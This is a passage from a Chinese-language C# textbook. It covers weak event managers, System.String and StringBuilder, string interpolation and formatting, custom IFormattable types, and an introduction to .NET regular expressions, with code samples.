WriteLine("\{_name}: car \{e.Car} is new"); } bool IWeakEventListener.ReceiveWeakEvent(Type managerType, object sender, EventArgs e) { NewCarIsHere(sender, e as CarInfoEventArgs); return true; } } } 在Main方法中,连接发布器和监听器,目前使用WeakEventManager < TEventSource, TEventArgs>类的静态AddHandler和RemoveHandler方法建立连接(代码文件 WeakEventsSample/Program.cs): var dealer = new CarDealer(); var daniel = new Consumer("Daniel"); WeakEventManager<CarDealer, CarInfoEventArgs>.AddHandler(dealer, "NewCarInfo", daniel.NewCarIsHere); dealer.NewCar("Mercedes"); var sebastian = new Consumer("Sebastian"); WeakEventManager<CarDealer, CarInfoEventArgs>.AddHandler(dealer, "NewCarInfo", sebastian.NewCarIsHere); dealer.NewCar("Ferrari"); WeakEventManager<CarDealer, CarInfoEventArgs>.RemoveHandler(dealer, "NewCarInfo", sebastian.NewCarIsHere); dealer.NewCar("Red Bull Racing"); 9.5 小结 本章介绍了委托、lambda表达式和事件的基础知识,解释了如何声明委托,如何给委 托列表添加方法,如何实现通过委托和lambda表达式调用的方法,并讨论了声明事件处理 程序来响应事件的过程,以及如何创建自定义事件,使用引发事件的模式。 在设计大型应用程序时,使用委托和事件可以减少依赖性和各层的耦合,并能开发出 具有更高重用性的组件。 lambda表达式是基于委托的C#语言特性,通过它们可以减少需要编写的代码量。 lambda表达式不仅仅用于委托,详见第13章。 第10章介绍字符串和正则表达式的使用。 第10章 字符串和正则表达式 本章要点 ● 创建字符串 ● 格式化表达式 ● 使用正则表达式 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● StringSample ● StringFormats ● RegularExpressionPlayground 从本书一开始,我们就在使用字符串,因为每个程序都需要字符串。但读者可能没有 意识到,在C#中string关键字的映射实际上指向.NET基类System.String。System.String是一 个功能非常强大且用途广泛的基类,但它不是.NET库中唯一与字符串相关的类。本章首 先复习一下System.String的特性,再介绍如何使用其他的.NET库类来处理字符串,特别是 System.Text和System.Text.RegularExpressions名称空间中的类。本章主要介绍下述内容: ● 构建字符串 ——如果多次修改一个字符串,例如,创建一个长字符串,然后显示 该字符串或将其传递给其他方法或应用程序,String类就会变得效率低下。对于这 种情况,应使用另一个类System.Text.StringBuilder,因为它是专门为这种情况设 计的。 ● 格式化表达式 ——这些格式化表达式将用于后面几章中的Console.WriteLine()方 法。格式化表达式使用两个有用的接口IFormatProvider和IFormattable来处理。在 自己的类上实现这两个接口,实际上就可以定义自己的格式化序列,这样, Console.WriteLine()和类似的类就可以按指定的方式显示类的值。 ● 正则表达式 ——.NET还提供了一些非常复杂的类来识别字符串,或从长字符串中 提取满足某些复杂条件的子字符串。例如,找出字符串中所有重复出现的某个字 符或一组字符,或者找出以s开头且至少包含一个n的所有单词,又或者找出遵循 雇员ID或社会安全号码结构的字符串。虽然可以使用String类,编写方法来完成这 类处理,但这类方法编写起来比较繁琐。而使用System.Text.RegularExpressions名 称空间中的类就比较简单,System.Text. RegularExpressions专门用于完成这类处 理。 10.1 System.String类 在介绍其他字符串类之前,先快速复习一下String类中一些可用的方法。 System.String类专门用于存储字符串,允许对字符串进行许多操作。此外,由于这种 数据类型非常重要,C#提供了它自己的关键字和相关的语法,以便使用这个类来轻松地 处理字符串。 使用运算符重载可以连接字符串: string message1 = "Hello"; // returns "Hello" message1 += ", There"; // returns "Hello, There" string message2 = message1 + "!"; // returns "Hello, There! " C#还允许使用类似于索引器的语法来提取指定的字符: string message = "Hello"; char char4 = message[4]; // returns 'o'. Note the string is zero-indexed 这个类可以完成许多常见的任务,如替换字符、删除空白和把字母变成大写形式等。 可用的方法如表10-1所示。 表10-1 方法 作用 Compare 比较字符串的内容,考虑区域值背景(区域设置),判断某 些字符是否相等 CompareOrdinal 与Compare一样,但不考虑区域值背景 Concat 把多个字符串实例合并为一个实例 CopyTo 把从选定下标开始的特定数量字符复制到数组的一个全新实 例中 Format 格式化包含各种值的字符串和如何格式化每个值的说明符 IndexOf 定位字符串中第一次出现某个给定子字符串或字符的位置 IndexOfAny 定位字符串中第一次出现某个字符或一组字符的位置 Insert 把一个字符串实例插入到另一个字符串实例的指定索引处 Join 合并字符串数组,创建一个新字符串 LastIndexOf 与IndexOf一样,但定位最后一次出现的位置 LastIndexOfAny 与IndexOfAny一样,但定位最后一次出现的位置 PadLeft 在字符串的左侧,通过添加指定的重复字符填充字符串 PadRight 在字符串的右侧,通过添加指定的重复字符填充字符串 Replace 用另一个字符或子字符串替换字符串中给定的字符或子字符 串 Split 在出现给定字符的地方,把字符串拆分为一个子字符串数组 Substring 在字符串中检索给定位置的子字符串 ToLower 把字符串转换为小写形式 ToUpper 把字符串转换为大写形式 Trim 删除首尾的空白  注意: 表10-1并不完整,但可以让你明白字符串所提供的功能。 10.1.1 构建字符串 如上所述,String类是一个功能非常强大的类,它实现许多很有用的方法。但是, String类存在一个问题:重复修改给定的字符串,效率会很低,它实际上是一个不可变的 数据类型,这意味着一旦对字符串对象进行了初始化,该字符串对象就不能改变了。表面 上修改字符串内容的方法和运算符实际上是创建一个新字符串,根据需要,可以把旧字符 串的内容复制到新字符串中。例如,考虑下面的代码(代码文件 StringSample/Program.cs): string greetingText = "Hello from all the guys at Wrox Press. "; greetingText += "We do hope you enjoy this book as much as we enjoyed writing it."; 本章的示例使用如下依赖项和名称空间(除非特别说明): 依赖项: NETStandard.Library 名称空间: System System.Text static System.Console 在执行这段代码时,首先创建一个System.String类型的对象,并把它初始化为文 本“Hello from all the guys at Wrox Press.”,注意句号后面有一个空格。此时.NET运行库会 为该字符串分配足够的内存来保存这个文本(39个字符),再设置变量greetingText来表 示这个字符串实例。 从语法上看,下一行代码是把更多的文本添加到字符串中。实际上并非如此,在此是 创建一个新字符串实例,给它分配足够的内存,以存储合并的文本(共103个字符)。把 最初的文本“Hello from all the people at Wrox Press.”复制到这个新字符串中,再加上额外 的文本“We do hope you enjoy this book as much as we enjoyed writing it.”。然后更新存储在 变量greetingText中的地址,使变量正确地指向新的字符串对象。现在没有引用旧的字符 串对象——不再有变量引用它,下一次垃圾收集器清理应用程序中所有未使用的对象时, 就会删除它。 这段代码本身还不错,但假定要对这个字符串编码,将其中的每个字符的ASCII值加 1,形成非常简单的加密模式。这就会把该字符串变成“Ifmmp gspn bmm uif hvst bu Xspy Qsftt. Xf ep ipqf zpv fokpz uijt cppl bt nvdi bt xf fokpzfe xsjujoh ju”。完成这个任务有好几种 方式,但最简单、最高效的一种(假定只使用String类)是使用String.Replace()方法, 该方法把字符串中指定的子字符串用另一个子字符串代替。使用Replace(),对文本进 行编码的代码如下所示: string greetingText = "Hello from all the guys at Wrox Press. "; greetingText += "We do hope you enjoy this book as much as we " + "enjoyed writing it."; WriteLine($"Not encoded:\n {greetingText}"); for(int i = 'z'; i>= 'a'; i--) { char old1 = (char)i; char new1 = (char)(i+1); greetingText = greetingText.Replace(old1, new1); } for(int i = 'Z'; i>='A'; i--) { char old1 = (char)i; char new1 = (char)(i+1); greetingText = greetingText.Replace(old1, new1); } WriteLine($"Encoded:\n {greetingText}");  注意: 为了简单起见,这段代码没有把Z换成A,也没有把z换成a。这些字符 分别编码为[和{。 在本示例中,Replace()方法以一种智能的方式工作,在某种程度上,它并没有创 建一个新字符串,除非其实际上要对旧字符串进行某些改变。原来的字符串包含23个不同 的小写字母和3个不同的大写字母。所以Replace()分配一个新字符串,共计分配26次, 每个新字符串都包含103个字符。因此加密过程需要在堆上有一个总共能存储2678个字符 的字符串对象,该对象最终将等待被垃圾收集!显然,如果使用字符串频繁进行文字处 理,应用程序就会遇到严重的性能问题。 为了解决这类问题,Microsoft提供了System.Text.StringBuilder类,StringBuilder类不 像String类那样能够支持非常多的方法。在StringBuilder类上可以进行的处理仅限于替换和 追加或删除字符串中的文本。但是,它的工作方式非常高效。 在使用String类构造一个字符串时,要给它分配足够的内存来保存字符串。然而, StringBuilder类通常分配的内存会比它需要的更多。开发人员可以选择指定StringBuilder要 分配多少内存,但如果没有指定,在默认情况下就根据初始化StringBuilder实例时的字符 串长度来确定所用内存的大小。StringBuilder类有两个主要的属性: ● Length指定包含字符串的实际长度。 ● Capacity指定字符串在分配的内存中的最大长度。 对字符串的修改就在赋予StringBuilder实例的内存块中进行,这就大大提高了追加子 字符串和替换单个字符的效率。删除或插入子字符串仍然效率低下,因为这需要移动随后 的字符串部分。只有执行扩展字符串容量的操作时,才需要给字符串分配新内存,这样才 能移动包含的整个字符串。在添加额外的容量时,从经验来看,如果StringBuilder类检测 到容量超出,且没有设置新值,就会使自己的容量翻倍。 例如,如果使用StringBuilder对象构造最初的欢迎字符串,就可以编写下面的代码: var greetingBuilder = new StringBuilder("Hello from all the guys at Wrox Press. ", 150); greetingBuilder.AppendFormat("We do hope you enjoy this book as much " + "as we enjoyed writing it");  注意: 为了使用StringBuilder类,需要在代码中引用System.Text类。 在这段代码中,为StringBuilder类设置的初始容量是150。最好把容量设置为字符串可 能的最大长度,确保StringBuilder类不需要重新分配内存,因为其容量足够用了。该容量 默认设置为16。理论上,可以设置尽可能大的数字,足够给该容量传送一个int值,但如 果实际上给字符串分配20亿个字符的空间(这是StringBuilder实例理论上允许拥有的最大 空间),系统就可能会没有足够的内存。 然后,在调用AppendFormat()方法时,其他文本就放在空的空间中,不需要分配 更多的内存。但是,多次替换文本才能获得使用StringBuilder类所带来的高效性能。例 如,如果要以前面的方式加密文本,就可以执行整个加密过程,无须分配更多的内存: var greetingBuilder = new StringBuilder("Hello from all the guys at Wrox Press. ", 150); greetingBuilder.AppendFormat("We do hope you enjoy this book as much " + "as we enjoyed writing it"); WriteLine("Not Encoded:\n" + greetingBuilder); for(int i = 'z'; i>='a'; i--) { char old1 = (char)i; char new1 = (char)(i+1); greetingBuilder = greetingBuilder.Replace(old1, new1); } for(int i = 'Z'; i>='A'; i--) { char old1 = (char)i; char new1 = (char)(i+1); greetingBuilder = greetingBuilder.Replace(old1, new1); } WriteLine("Encoded:\n" + greetingBuilder); 这段代码使用了StringBuilder.Replace()方法,它的功能与String.Replace()一样, 但不需要在过程中复制字符串。在上述代码中,为存储字符串而分配的总存储单元是用于 StringBuilder实例的150个字符,以及在最后一条Console.WriteLine()语句中执行字符串 操作期间分配的内存。 一般而言,使用StringBuilder类执行字符串的任何操作,而使用String类存储字符串或 显示最终结果。 10.1.2 StringBuilder成员 前面介绍了StringBuilder类的一个构造函数,它的参数是一个初始字符串及该字符串 的容量。StringBuilder类还有几个其他的构造函数。例如,可以只提供一个字符串: var sb = new StringBuilder("Hello"); 或者用给定的容量创建一个空的StringBuilder类: var sb = new StringBuilder(20); 除了前面介绍的Length和Capacity属性外,还有一个只读属性MaxCapacity,它表示对 给定的StringBuilder实例的容量限制。在默认情况下,这由int.MaxValue给定(大约20亿, 如前所述)。但在构造StringBuilder对象时,也可以把这个值设置为较低的值: // This will set the initial capacity to 100, but the max will be 500. // Hence, this StringBuilder can never grow to more than 500 characters, // otherwise it will raise an exception if you try to do that. var sb = new StringBuilder(100, 500); 还可以随时显式地设置容量,但如果把这个值设置为小于字符串的当前长度,或者是 超出了最大容量的某个值,就会抛出一个异常: var sb = new StringBuilder("Hello"); sb.Capacity = 100; StringBuilder类主要的方法如表10-2所示。 表10-2 方法 说明 Append() 给当前字符串追加一个字符串 AppendFormat() 追加特定格式的字符串 Insert() 在当前字符串中插入一个子字符串 Remove() 从当前字符串中删除字符 Replace() 在当前字符串中,用某个字符全部替换另一个字符,或者用 当前字符串中的一个子字符串全部替换另一个字符串 ToString() 返回当前强制转换为System.String对象的字符串(在 System.Object中重写) 其中一些方法还有几种重载版本。  注意: AppendFormat()方法实际上会在最终调用Console.WriteLine()方 法时被调用,它负责确定所有像{0:D}的格式化表达式应使用什么表达式替代。下一节 讨论这个问题。 不能把StringBuilder强制转换为String(隐式转换和显式转换都不行)。如果要把 StringBuilder的内容输出为String,唯一的方式就是使用ToString()方法。 前面介绍了StringBuilder类,说明了使用它提高性能的一些方式。但要注意,这个类 并不总能提高性能。StringBuilder类基本上应在处理多个字符串时使用。但如果只是连接 两个字符串,使用System.String类会比较好。 10.2 字符串格式 之前的章节介绍了用$前缀给字符串传递变量。本章讨论这个C# 6新功能背后的理 论,并囊括格式化字符串提供的所有其他功能。 10.2.1 字符串插值 C# 6引入了给字符串使用$前缀的字符串插值。下面的示例使用$前缀创建了字符串 s2,这个前缀允许在花括号中包含占位符来引用代码的结果。{ s1 }是字符串中的一个占 位符,编译器将变量s1的值放在字符串s2中(代码文件StringFormats/Program. cs): string s1 = "World"; string s2 = $"Hello, {s1}"; 在现实中,这只是语法糖。对于带$前缀的字符串,编译器创建String.Format方法的 调用。所以前面的代码段解读为: string s1 = "World"; string s2 = String.Format("Hello, {0}", s1); String.Format方法的第一个参数接受一个格式字符串,其中的占位符从0开始编号, 其后是放入字符串空白处的参数。 新的字符串格式要方便得多,不需要编写那么多代码。 不仅可以使用变量来填写字符串的空白处,还可以使用返回一个值的任何方法: string s2 = $"Hello, {s1.ToUpper()}"; 这段代码可解读为如下类似的语句: string s2 = String.Format("Hello, {0}", s1.ToUpper()); 字符串还可以有多个空白处,如下所示的代码: int x = 3, y = 4; string s3 = $"The result of {x} + {y} is {x + y}"; 解读为: string s3 = String.Format("The result of {0} and {1} is {2}", x, y, x + y); 1. FormattableString 把字符串赋予FormattableString,就很容易得到翻译过来的插值字符串。插值字符串 可以直接分配,因为FormattableString比正常的字符串更适合匹配。这个类型定义了 Format属性(返回得到的格式字符串)、ArgumentCount属性和方法GetArgument(返回 值): int x = 3, y = 4; FormattableString s = $"The result of {x} + {y} is {x + y}"; WriteLine($"format: {s.Format }"); for (int i = 0; i < s.ArgumentCount ; i++) { WriteLine($"argument {i}: {s.GetArgument(i)} "); } 运行此代码段,输出结果如下: format: The result of {0} + {1} is {2} argument 0: 3 argument 1: 4 argument 2: 7  注意: 类FormattableString在System名称空间中定义,但是需要.NET 4.6。如 果想在.NET旧版本中使用FormattableString,可以自己创建这种类型,或使用NuGet包 StringInterpolationBridge。 2.给字符串插值使用其他区域值 插值字符串默认使用当前的区域值,这很容易改变。辅助方法Invariant把插值字符串 改为使用不变的区域值,而不是当前的区域值。因为插值字符串可以分配给 FormattableString类型,所以它们可以传递给这个方法。FormattableString定义了允许传递 IFormatProvider的ToString方法。接口IFormatProvider由CultureInfo类实现。把 CultureInfo.InvariantCulture传递给IFormatProvider参数,就可把字符串改为使用不变的区 域值: private string Invariant(FormattableString s) => s.ToString(CultureInfo.InvariantCulture);  注意: 第28章讨论了格式字符串的语言专有问题,以及区域值和不变的区域 值。 在下面的代码段中,Invariant方法用来把一个字符串传递给第二个WriteLine方法。 WriteLine的第一个调用使用当前的区域值,而第二个调用使用不变的区域值: var day = new DateTime(2025, 2, 14); WriteLine($"{day:d}"); WriteLine(Invariant($"{day:d}") ); 如果有英语区域值设置,结果就如下所示。如果系统配置了另一个区域值,第一个结 果就是不同的。在任何情况下,都会看到不变区域值的差异: 2/14/2025 02/14/2015 使用不变的区域值,不需要自己实现方法,而可以直接使用FormattableString类的静 态方法Invariant: WriteLine(FormattableString.Invariant($"{day:d}")) ; 3.转义花括号 如果希望在插值字符串中包括花括号,可以使用两个花括号转义它们: string s = "Hello"; WriteLine($"{{s}} displays the value of s: {s}"); WriteLine方法被解读为如下实现代码: WriteLine(String.Format("{s} displays the value of s: {0}", s)); 输出如下: {s} displays the value of s : Hello 还可以转义花括号,从格式字符串中建立一个新的格式字符串。下面看看这个代码 段: string formatString = $"{s}, {{0}}"; string s2 = "World"; WriteLine(formatString, s2); 有了字符串变量formatString,编译器会把占位符0插入变量s,调用String.Format: string formatString = String.Format("{0}, {{0}}", s); 这会生成格式字符串,其中变量s替换为值Hello,删除第二个格式最外层的花括号: string formatString = "Hello, {0}"; 在WriteLine方法的最后一行,使用变量s2的值把World字符串插值到新的占位符0 中: WriteLine("Hello, World"); 10.2.2 日期时间和数字的格式 除了给占位符使用字符串格式之外,还可以根据数据类型使用特定的格式。下面先从 日期开始。在占位符中,格式字符串跟在表达式的后面,用冒号隔开。下面所示的例子是 用于DateTime类型的D和d格式: var day = new DateTime(2025, 2, 14); WriteLine($"{day:D}"); WriteLine($"{day:d}"); 结果显示,用大写字母D表示长日期格式字符串,用小写字母d表示短日期字符串: Friday, February 14, 2025 2/14/2025 根据所使用的大写或小写字符串,DateTime类型会得到不同的结果。根据系统的语言 设置,输出可能不同。日期和时间是特定于语言的。 DateTime类型支持很多不同的标准格式字符串,显示日期和时间的所有表示:例如, t表示短时间格式,T表示长时间格式,g和G显示日期和时间。这里不讨论所有其他选 项,在MSDN文档的DateTime类型的ToString方法中,可以找到相关介绍。  注意: 应该提到的一个问题是,为DateTime构建自定义的格式字符串。自定 义的日期和时间格式字符串可以结合格式说明符,例如dd-MMM-yyyy: WriteLine($"{day:dd-MMM-yyyy}"); 结果如下: 14-Feb-2025 这个自定义格式字符串利用dd把日期显示为两个数字(如果某个日期在10日之 前,这就很重要,从这里可以看到d和dd之间的区别)、MMM(月份的缩写名称,注 意它是大写,而mm表示分钟)和表示四位数年份的yyyy。同样,在MSDN文档中可以 找到用于自定义日期和时间格式字符串的所有其他格式说明符。 数字的格式字符串不区分大小写。下面看看n、e、x和c标准数字格式字符串: int i = 2477; WriteLine($"{i:n} {i:e} {i:x} {i:c}"); n格式字符串定义了一个数字格式,用组分隔符显示整数和小数。e表示使用指数表示 法,x表示转换为十六进制,c显示货币: 2,477.00 2.477000e+003 9ad $2,477.00 对于数字的表示,还可以使用定制的格式字符串。#格式说明符是一个数字占位符, 如果数字可用,就显示数字;如果数字不可用,就不显示数字。0格式说明符是一个零占 位符,显示相应的数字,如果数字不存在,就显示零。 double d = 3.1415; WriteLine($"{d:###.###}"); WriteLine($"{d:000.000}"); 在示例代码中,对于double值,第一个结果把逗号后的值舍入为三位小数,第二个结 果是显示逗号前的三个数字: 3.142 003.142 MSDN文档给百分比、往返和定点显示提供了所有的标准数字格式字符串,以及提供 自定义格式字符串,用于使指数、小数点、组分隔符等显示不同的外观。 10.2.3 自定义字符串格式 格式字符串不限于内置类型,可以为自己的类型创建自定义格式字符串。为此,只需 要实现接口IFormattable。 首先是一个简单的Person类,它包含FirstName和LastName属性(代码文件 StringFormats/Person.cs): public class Person { public string FirstName { get; set; } public string LastName { get; set; } } 为了获得这个类的简单字符串表示,重写基类的ToString方法。这个方法返回由 FirstName和LastName组成的字符串: public override string ToString() => FirstName + " " + LastName; 除了简单的字符串表示之外,Person类也应该支持格式字符串F,返回名L和姓A,后 者代表“all”;并且应该提供与ToString方法相同的字符串表示。为实现自定义字符串,接 口IFormattable定义了带两个参数的ToString方法:一个是格式的字符串参数,另一个是 IFormatProvider参数。IFormatProvider参数未在示例代码中使用。可以基于区域值使用这 个参数,进行不同的显示,因为CultureInfo类实现了该接口。 实现了这个接口的其他类是NumberFormatInfo和DateTimeFormatInfo。可以把实例传 递到ToString方法的第二个参数,使用这些类配置数字和DateTime的字符串表示。 ToString方法的实现代码只使用switch语句,基于格式字符串返回不同的字符串。为了使 用格式字符串直接调用ToString方法,而不提供格式提供程序,应重载ToString方法。这 个方法又调用有两个参数的ToString方法: public class Person : IFormattable { public string FirstName { get; set; } public string LastName { get; set; } public override string ToString() => FirstName + " " + LastName; public virtual string ToString(string format) => ToString(format, null) ; public string ToString(string format, IFormatProvider formatProvider) { switch (format) { case null: case "A": return ToString(); case "F": return FirstName; case "L": return LastName; default: throw new FormatException($"invalid format string {format}"); } } } 有了这些代码,就可以明确传递格式字符串,或隐式使用字符串插值,以调用 ToString方法。隐式的调用使用带两个参数的ToString方法,并给IFormatProvider参数传递 null(代码文件StringFormats/Program.cs): var p1 = new Person { FirstName = "Stephanie", LastName = "Nagel" }; WriteLine(p1.ToString("F") ); WriteLine($"{p1:F }"); 10.3 正则表达式 正则表达式作为小型技术领域的一部分,在各种程序中都有着难以置信的作用。正则 表达式可以看成一种有特定功能的小型编程语言:在大的字符串表达式中定位一个子字符 串。它不是一种新技术,最初是在UNIX环境中开发的,与Perl和JavaScript编程语言一起 使用得比较多。System.Text.RegularExpressions名称空间中的许多.NET类都支持正则表达 式。.NET Framework的各个部分也使用正则表达式。例如,在ASP.NET验证服务器的控 件中就使用了正则表达式。 对于不太熟悉正则表达式语言的读者,本节将主要解释正则表达式和相关的.NET 类。如果你很熟悉正则表达式,就可以浏览本节,选择学习与.NET基类引用有关的内 容。注意,.NET正则表达式引擎用于兼容Perl 5的正则表达式,但它有一些新功能。 10.3.1 正则表达式概述 正则表达式语言是一种专门用于字符串处理的语言。它包含两个功能: ● 一组用于标识特殊字符类型的转义代码。你可能很熟悉DOS命令中使用*字符表示 任意子字符串(例如,DOS命令Dir Re*会列出名称以Re开头的所有文件)。正则 表达式使用与*类似的许多序列来表示“任意一个字符”、“一个单词的中断”和“一 个可选的字符”等。 ● 一个系统,在搜索操作中把子字符串和中间结果的各个部分组合起来。 使用正则表达式,可以对字符串执行许多复杂而高级的操作,例如: ● 识别(可以是标记或删除)字符串中所有重复的单词,例如,把“The computer books books”转换为“The computer books”。 ● 把所有单词都转换为标题格式,例如,把“this is a Title”转换为“This Is A Title”。 ● 把长于3个字符的所有单词都转换为标题格式,例如,把“this is a Title”转换为“This is a Title”。 ● 确保句子有正确的大写形式。 ● 区分URI的各个元素(例如,给定http://www.wrox.com,提取出其中的协议、计算 机名和文件名等)。 当然,这些都是可以在C#中用System.String和System.Text.StringBuilder的各种方法执 行的任务。但是,在一些情况下,还需要编写相当多的C#代码。如果使用正则表达式, 这些代码一般可以压缩为几行。实际上,这是实例化了一个对象 System.Text.RegularExpressions.RegEx(甚至更简单,调用静态的RegEx()方法),给它 传递要处理的字符串和一个正则表达式(这是一个字符串,它包含用正则表达式语言编写 的指令)。 正则表达式字符串初看起来像是一般的字符串,但其中包含了转义序列和有特定含义 的其他字符。例如,序列\b表示一个字的开头和结尾(字的边界),因此如果要表示正在 查找以字符th开头的字,就可以编写正则表达式\bth(即字边界是序列-t-h)。如果要搜索 所有以th结尾的单词,就可以编写th\b(字边界是序列t- h-)。但是,正则表达式要比这 复杂得多,包括可以在搜索操作中找到存储部分文本的工具性程序。本节仅简要介绍正则 表达式的功能。  注意: 正则表达式的更多信息可参阅Andrew Watt撰写的图书Beginning Regular Expressions (John Wiley & Sons,2005)。 假定应用程序需要把美国电话号码转换为国际格式。在美国,电话号码的格式为314- 123-1234,常常写作(314)123-1234。在把这个国家格式转换为国际格式时,必须在电 话号码的前面加上+1(美国的国家代码),并给区号加上圆括号:+1(314)123-1234。 在查找和替换时,这并不复杂。但如果要使用String类完成这个转换,就需要编写一些代 码(这表示必须使用System.String类的方法来编写代码)。而正则表达式语言可以构造一 个短的字符串来表达上述含义。 所以,本节只有一个非常简单的示例,我们只考虑如何查找字符串中的某些子字符 串,无须考虑如何修改它们。 10.3.2 RegularExpressionsPlayaround示例 本章的正则表达式示例使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Text.RegularExpressions static System.Console 下面将开发一个小示例RegularExpressionsPlayaround,通过实现并显示一些搜索的结 果,说明正则表达式的一些功能,以及如何在C#中使用.NET正则表达式引擎。在这个示 例文档中使用的文本是本书前一版的部分简介(代码文件 RegularExpressionsPlayground/Program.cs): const string input = @"This book is perfect for both experienced C# programmers looking to " + "sharpen their skills and professional developers who are using C# for " + "the first time. The authors deliver unparalleled coverage of " + "Visual Studio 2013 and .NET Framework 4.5.1 additions, as well as " + "new test-driven development and concurrent programming features. " + "Source code for all the examples are available for download, so you " + "can start writing Windows desktop, Windows Store apps, and ASP.NET " + "web applications immediately.";  注意: 上面的代码说明了前缀为@符号的逐字字符串的实用性。这个前缀在 正则表达式中非常有用。 我们把这个文本称为输入字符串。为了说明.NET类的正则表达式,我们先进行一次 纯文本的基本搜索,这次搜索不带任何转义序列或正则表达式命令。假定要查找所有的字 符串ion,把这个搜索字符串称为模式。使用正则表达式和上面声明的变量Text,可编写 出下面的代码: public static void Find1(text) { const string pattern = "ion"; MatchCollection matches = Regex.Matches(text, pattern, RegexOptions.IgnoreCase | RegexOptions.ExplicitCapture); foreach (Match nextMatch in matches) { WriteLine(nextMatch.Index); } } 在这段代码中,使用了System.Text.RegularExpressions名称空间中Regex类的静态方法 Matches()。这个方法的参数是一些输入文本、一个模式和从RegexOptions枚举中提取 的一组可选标志。在本例中,指定所有的搜索都不应区分大小写。另一个标记 ExplicitCapture改变了收集匹配的方式,对于本例,这样可以使搜索的效率更高,其原因 详见后面的内容(尽管它还有这里没有探讨的其他用法)。Matches()方法返回 MatchCollections对象的引用。匹配是一个技术术语,表示在表达式中查找模式实例的结 果,用System.Text.RegularExpressions.Match类来表示它。因此,我们返回一个包含所有 匹配的MatchCollection,每个匹配都用一个Match对象来表示。在上面的代码中,只是迭 代集合,并使用Match类的Index属性,Match类返回输入文本中匹配所在的索引。运行这 段代码将得到3个匹配。表10-3描述了RegexOptions枚举的一些成员。 表10-3 成员名 说明 CultureInvariant 指定忽略字符串的区域值 ExplicitCapture 修改收集匹配的方式,方法是确保把显式指定的匹配作为有 效的搜索结果 IgnoreCase 忽略输入字符串的大小写 IgnorePatternWhitespace 在字符串中删除未转义的空白,启用通过#符号指定的注释 Multiline 修改字符^和$,把它们应用于每一行的开头和结尾,而不仅 仅应用于整个字符串的开头和结尾 RightToLeft 从右到左地读取输入字符串,而不是默认地从左到右读取 (适合于一些亚洲语言或其他以这种方式读取的语言) Singleline 指定句点的含义(.),它原来表示单行模式,现在改为匹 配每个字符 到目前为止,在前面的示例中,除了一些新的.NET基类外,其他都不是新的内容。 但正则表达式的能力主要取决于模式字符串,原因是模式字符串不必仅包含纯文本。如前 所述,它还可以包含元字符和转义序列,其中元字符是给出命令的特定字符,而转义序列 的工作方式与C#的转义序列相同。它们都是以反斜杠(\)开头的字符,且具有特殊的含 义。 例如,假定要查找以n开头的字,那么可以使用转义序列\b,它表示一个字的边界 (字的边界是以字母数字表中的某个字符开头,或者后面是一个空白字符或标点符号)。 可以编写如下代码: const string pattern = @"\bn"; MatchCollection myMatches = Regex.Matches(input, pattern, RegexOptions.IgnoreCase | RegexOptions.ExplicitCapture); 注意字符串前面的符号@。要在运行时把\b传递给.NET正则表达式引擎,反斜杠 (\)不应被C#编译器解释为转义序列。如果要查找以序列ion结尾的字,就可以使用下面 的代码: const string pattern = @"ions\b"; 如果要查找以字母a开头、以序列ion结尾的所有字(在本例中仅有一个匹配的字 application),就必须在上面的代码中添加一些内容。显然,我们需要一个以\ba开头、以 ion\b结尾的模式,但中间的内容怎么办?需要告诉应用程序,在a和ion中间的内容可以是 任意长度的字符,只要这些字符不是空白即可。实际上,正确的模式如下所示。 const string pattern = @"\ba\S*ions\b"; 使用正则表达式要习惯的一点是,对像这样怪异的字符序列应见怪不怪。但这个序列 的工作是非常逻辑化的。转义序列\S表示任何不是空白字符的字符。*称为限定符,其含 义是前面的字符可以重复任意次,包括0次。序列\S*表示任意数量不是空白字符的字符。 因此,上面的模式匹配以a开头以ion结尾的任何单个单词。 表10-4是可以使用的一些主要的特定字符或转义序列,但这个表并不完整,完整的列 表请参考MSDN文档。 表10-4 符号 含义 示例 匹配的示例 ^ 输入文本的开头 ^B B,但只能是文本中的第一 个字符 输入文本的结尾 X$ X,但只能是文本中的最后 一个字符 . 除了换行符(\n)以外的所 有单个字符 i.ation isation、ization * 可以重复0次或多次的前导 字符 ra*t rt、rat、raat和raaat等 + 可以重复1次或多次的前导 字符 ra+t rat、raat和raaat等(但不能 是rt) ? 可以重复0次或1次的前导字 符 ra?t 只有rt和rat匹配 \s 任何空白字符 \sa [space]a、\ta、\na(\t和\n与 C#中的\t和\n含义相同) \S 任何不是空白的字符 \SF aF、rF、cF,但不能是\tf \b 字边界 ion\b 以ion结尾的任何字 \B 不是字边界的任意位置 \BX\B 字中间的任何X 如果要搜索其中一个元字符,就可以通过带有反斜杠的相应转义字符来表示。例 如,“.”(一个句点)表示除了换行字符以外的任何单个字符,而“\.”表示一个点。 可以把替换的字符放在方括号中,请求匹配包含这些字符。例如,[1|c]表示字符可以 是1或c。如果要搜索map或man,就可以使用序列ma[n|p]。在方括号中,也可以指定一个 范围,例如,[a-z]表示所有的小写字母,[A-E]表示A~E之间的所有大写字母(包括字母 A和E), [0-9]表示一个数字。如果要搜索一个整数(该序列只包含0~9的字符),就可以 编写[0-9]+。  注意: 使用“+”字符表示至少要有这样一个数字,但可以有多个数字,所以 9、83和854等都是匹配的。 ^用在方括号中时有不同的含义。在方括号外部使用它,就标记输入文本的开头。在 方括号内使用它,表示除了^之后的字符之外的任意字符。 10.3.3 显示结果 本节编写一个示例RegularExpressionsPlayaround,看看正则表达式的工作方式。 该示例的核心是一个方法WriteMatches(),它把MatchCollection中的所有匹配以比 较详细的格式显示出来。对于每个匹配结果,该方法都会显示匹配在输入字符串中的索 引、匹配的字符串和一个略长的字符串,其中包含匹配结果和输入文本中至多10个外围字 符,其中至多有5个字符放在匹配结果的前面,至多5个字符放在匹配结果的后面(如果匹 配结果的位置在输入文本的开头或结尾5个字符内,则结果中匹配字符串前后的字符就会 少于5个)。换言之,在RegularExpressionsPlayaround示例开始时,如果要匹配的单词是 applications,靠近输入文本开头的匹配结果应是“web applications imme”,匹配结果的前后 各有5个字符,但位于输入文本的最后一个字immediately上的匹配结果就应是" ions immediately " ——匹配结果的后面只有一个字符,因为在该字符的后面是字符串的结尾。 下面这个长字符串可以更清楚地表明正则表达式是在什么地方查找到匹配结果的: public static void WriteMatches(string text, MatchCollection matches) { WriteLine($"Original text was: \n\n{text}\n"); WriteLine($"No. of matches: {matches.Count}"); foreach (Match nextMatch in matches) { int index = nextMatch.Index; string result = nextMatch.ToString(); int charsBefore = (index 